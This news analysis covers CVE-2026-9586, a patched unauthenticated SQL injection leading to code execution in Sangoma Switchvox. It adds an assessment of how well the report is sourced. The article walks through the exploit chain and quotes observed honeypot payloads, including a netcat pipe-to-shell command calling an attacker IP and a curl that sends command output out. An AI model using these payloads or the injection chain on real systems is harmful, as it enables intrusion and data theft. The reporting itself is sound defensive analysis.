Security1 distinct publisher2 min readPublished
The unauthenticated SQL injection was already fixed in Switchvox 8.4.0.2, and one attacker IP is now spraying reverse-shell payloads at sensors. Shodan counts about 4,000 exposed instances, mostly in the United States.
The Watch · Security desk
Compiled by The WatchSomething wrong?How this is made
The route from anonymous POST to shell is short enough to read in one sitting. `pre_cmd()` takes the request body from the POSTDATA CGI parameter and checks exactly one thing, that the body opens with `<PolycomIPPhone>`, with no content sanitization after that [4]. `tel_notify()` then parses the XML with `XML::Simple::XMLin()`, pulls the `PhoneIP` value out with no validation, and concatenates it into a single-quoted SQL string [5]. The query runs as PostgreSQL superuser [6]. That last detail is what turns injection into execution: the logged attempt closed the original SELECT and appended `COPY (SELECT '') TO PROGRAM` with a netcat command inside it [7]. No credentials anywhere in the chain, and one string check standing in for authentication [18].
Keep the observed activity and the assessment separate. What Horizon3 published is honeypot telemetry: a Defused Cyber sensor took an initial payload of `nc 176.65.148.184 39323 | sh` [8], then a follow-up curl that base64-encoded the output of `top -bn1` and carried it out in the URL path [9]. No production victim is named. The line that most internet-exposed instances have been or will be targeted is Horizon3's own read, based on the same source IP hitting several honeypots in quick succession [10]. Against roughly 4,000 exposed devices [11], that read is cheap to accept and expensive to ignore.
The number defenders should sit with is not 4,000. Horizon3 reported twelve distinct Switchvox bugs, all patched [1], and wrote up only CVE-2026-9586 because that is the one being exploited [16]. Eleven others are fixed and publicly undescribed [17]. A signature keyed to `/pa` and `PolycomIPPhone` finds this one. It says nothing about the rest, which means version state, not detection content, is the thing to inventory.
The public timeline is thin. Horizon3's dates start at 10 April 2026, when it filed the issues with Sangoma through GitHub Issues [13]; the excerpt carries no release date for 8.4.0.2 [20], so the window between fix availability and first observed exploitation is not something anyone outside Sangoma can measure yet. For retrospective work, the injected SQL shows up in `/var/log/switchvox/db-quirks.log` if you can get SSH on the box [12]. One naming caution while you grep: the writeup describes Sangoma's obfuscated files as PHP, but the handler it names is `PhoneAppsHandler.pm` and the parser call is Perl [19]. Search for the Perl module.
Ranked by verification strength, evidence, and original report placement.
Horizon3 observed exploit attempts in quick succession across multiple honeypots from the same source IP and believes it likely that most internet-exposed Switchvox instances will be or have already been targeted.
Horizon3 reported 12 distinct vulnerabilities in the Sangoma Switchvox product, all of which have now been patched.
The most impactful of the reported bugs is an unauthenticated SQL injection leading to remote code execution, assigned CVE-2026-9586 and patched in Switchvox 8.4.0.2.
Sangoma Switchvox is an enterprise VoIP telephony management solution used to configure phone systems including voicemail, call forwarding, and monitoring and analytics.
Switchvox exposes an unauthenticated HTTP endpoint /pa handled by PhoneAppsHandler.pm; pre_cmd() reads the POST body from the POSTDATA CGI parameter and validates only that the body starts with <PolycomIPPhone>, with no content sanitization.
In tel_notify(), the XML is parsed via XML::Simple::XMLin(), the PhoneIP field is extracted with no validation, and it is concatenated directly into an unparameterized SQL string in a single-quoted context.
Distinct publishers with included, body-backed reporting in this cluster.
1 article · September 1, 2026
Follow any of these and your For You feed starts watching them — no settings page required.
security
Someone enumerated LiteLLM's key tables 36 hours after the advisory hit defender feeds1 distinct publisher
build
Sling's incremental mode leaves five cancelled orders alive in the warehouse1 distinct publisher
invest
Grayscale's ZCSH puts Zcash in brokerage accounts, and none of its ZEC is shielded3 distinct publishers
build
Notion's agent stack is live, not slideware, and it only changes one of your decisions1 distinct publisher
Evidence-backed comparisons of source perspectives and observed adoption signals. Read the methodology
Which Builder, Operator, and Investor concerns the observed source mix emphasized—not a truth score.
Evidence, demonstrated adoption, hype gap, incentives, and confidence are assessed independently, each on its own current evidence. How these are measured.
Concrete, and entirely first-party
Line numbers through PhoneAppsHandler.pm, the injected query exactly as it landed in db-quirks.log, a decoded base64 enumeration command, a dated eight-step disclosure timeline — this is far more checkable than most exploitation reports. It is also unchecked: the finder, the sensor operator's partner and the publisher are one party, no CERT bulletin or Sangoma advisory sits alongside it, and the post calls the obfuscated files PHP while everything it shows is Perl. Small slip, but it is the only quality signal a reader can independently test.
Exposure counted, remediation unknown
Two hard figures anchor the real-world picture: about 4,000 reachable devices, and a fix that has been available since 14 July. The gap between them is where the risk actually lives, and nobody measures it — there is no patch-uptake sample, no scan of version banners, no vendor statement on how many customers pulled 8.4.0.2. Exploitation itself is documented only against sensors built to be exploited, so 'in the wild' here means 'aimed at honeypots', not 'landed on production phone systems'.
Dry prose, one sentence that reaches
For most of its length the write-up under-sells rather than over-sells: no severity theatrics, no branded bug name, just data flow and log lines. Then a single source IP touching Horizon3's own honeypots becomes grounds for expecting that most internet-exposed Switchvox instances have already been targeted. That leap, plus the framing of an autonomous system as the discoverer, is the whole of the overstatement — and the headline number, 4,000 devices, is presented without the patch-level caveat that would shrink it.
The finder sells the finder
Horizon3 does offensive security tooling, and this post is a working advertisement for it: the target was picked because adjacent FreePBX bugs hit CISA's exploited list, the bug was flagged by the company's autonomous research system, an agent stripped the obfuscation, and honeypots run with Defused Cyber supplied the punchline on schedule. None of that makes a log excerpt false. It does explain why the machine-discovery detail is in paragraph five and the eleven undescribed CVEs never get a paragraph at all.
Trust the artefacts, not the breadth
A single publisher with an obvious stake would normally sink this, but the specifics are the kind anyone running Switchvox can check within the hour: one IP, one log file, one version number. So the narrow claims stand up while the wide ones — how much of the installed base is exposed and unpatched, whether real deployments were hit — remain unverified. Our confidence is high on what to do and low on how bad it is.